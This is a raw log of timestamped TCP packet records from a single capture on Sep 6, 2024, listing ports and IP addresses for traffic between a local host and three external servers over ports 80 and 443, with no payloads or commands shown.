Sep 6, 2024 08:17:07.735450983 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.735610962 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.739523888 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.739548922 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.739581108 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.739609003 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.739615917 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.739622116 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.739628077 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.739651918 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.739651918 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.739658117 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.739684105 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.739825964 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.767828941 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.767836094 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.767848015 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.767853022 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.767858982 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.767864943 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.767894030 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.767919064 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.767925978 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.768209934 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.770131111 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770138025 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770148039 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770179987 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770185947 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770198107 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770204067 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770229101 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.770234108 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770283937 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.770299911 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770307064 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770312071 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770322084 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770343065 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.770360947 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.770423889 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.770432949 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770440102 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770451069 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770454884 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770533085 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770534039 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.770538092 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770576954 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.770699024 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.770709038 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770716906 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770734072 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770747900 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770755053 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770766020 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770772934 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770773888 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.770783901 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770790100 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770795107 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770811081 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.770811081 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.770817041 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770824909 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770834923 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770839930 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770843983 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770849943 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.770849943 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.770870924 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.770931005 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770937920 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770948887 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770953894 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770958900 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770965099 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.770967960 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.770998001 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.771081924 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.771085978 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.771091938 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.771096945 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.771115065 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.771121025 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.771122932 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.771132946 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.771141052 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.771146059 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.771157026 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.771178961 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.771377087 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.771904945 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.771948099 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.771953106 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772001028 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772006989 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772017956 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772022963 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772051096 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772063971 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.772084951 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.772258997 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772311926 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.772334099 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772340059 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772351980 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772356987 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772363901 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772375107 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772403002 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.772526979 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772532940 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772538900 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772562981 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.772591114 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772598028 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772603989 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772609949 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772614956 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772640944 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.772640944 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.772640944 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.772774935 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772815943 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.772834063 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772839069 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772869110 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.772898912 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772906065 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772917032 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772922039 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772928953 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.772939920 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.772996902 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.772996902 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.773739100 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.773746014 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.773757935 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.773825884 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.773832083 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.773849964 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.773854971 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.773861885 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.773865938 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.773870945 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.773874998 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.773878098 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.773885012 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.773895025 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.773910999 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.773998976 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.774059057 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.774086952 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.774100065 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.774106026 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.774110079 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.774125099 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.774131060 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.774141073 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.774147987 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.774152994 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.774159908 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.774164915 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.774173021 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.774173021 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.774260998 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.774316072 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.774559021 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.774635077 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.774640083 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.774648905 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.774653912 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.774662971 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.774667978 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.774728060 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.774728060 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.774940014 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.775180101 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.775568008 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.775573969 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.775583029 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.775610924 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.775616884 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.775629997 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.775635004 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.775651932 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.775719881 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.775719881 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.775736094 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.775876045 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.777029991 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.777035952 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.777051926 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.777057886 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.777067900 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.777072906 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.777079105 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.777080059 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.777122021 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.777122021 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.779798031 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.779803038 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.779814959 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.779859066 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.779865026 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.779875994 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.779881954 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.779887915 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.779889107 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.779917955 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.779917955 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.779948950 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.779957056 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.779962063 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.779978037 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.779983044 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.779989004 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.780014992 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.780042887 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.780049086 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.780052900 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.780086040 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.780160904 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.793051958 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793057919 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793067932 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793097973 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793103933 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793116093 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793121099 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793127060 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793132067 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793135881 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.793207884 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.793220043 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793226957 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793237925 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793287039 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.793320894 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793328047 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793338060 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793387890 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.793387890 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.793482065 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793488026 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793498039 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793504000 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793509960 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793514967 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793520927 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793536901 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.793601990 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793607950 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793620110 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793626070 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793631077 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793670893 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.793670893 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.793740034 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793745995 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793751955 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.793752909 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793759108 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793768883 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793773890 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793781042 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.793796062 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793802023 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793807983 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793817997 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.793836117 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.793874025 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793879986 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793885946 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793924093 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793931007 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793941021 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793946981 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.793962002 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.793991089 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.794601917 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.794609070 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.794619083 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.794691086 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.794696093 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.794707060 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.794713020 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.794723034 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.794734001 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.794763088 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.794819117 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.794826031 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.794835091 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.794841051 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.794871092 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.794876099 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.794884920 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.794884920 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.794887066 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.794898987 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.794915915 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.795030117 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.795036077 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.795047045 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.795052052 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.795058012 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.795063019 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.795064926 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.795121908 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.795234919 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.795248985 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.795258999 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.795350075 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.795355082 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.795361042 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.795367002 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.795377016 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.795453072 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.795459986 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.795469999 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.795475960 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.795490980 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.795522928 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.795527935 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.795536995 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.795542955 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.795553923 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.795566082 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.795619965 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.795620918 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.795701981 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.795707941 CEST	80	49737	147.45.44.104	192.168.2.4
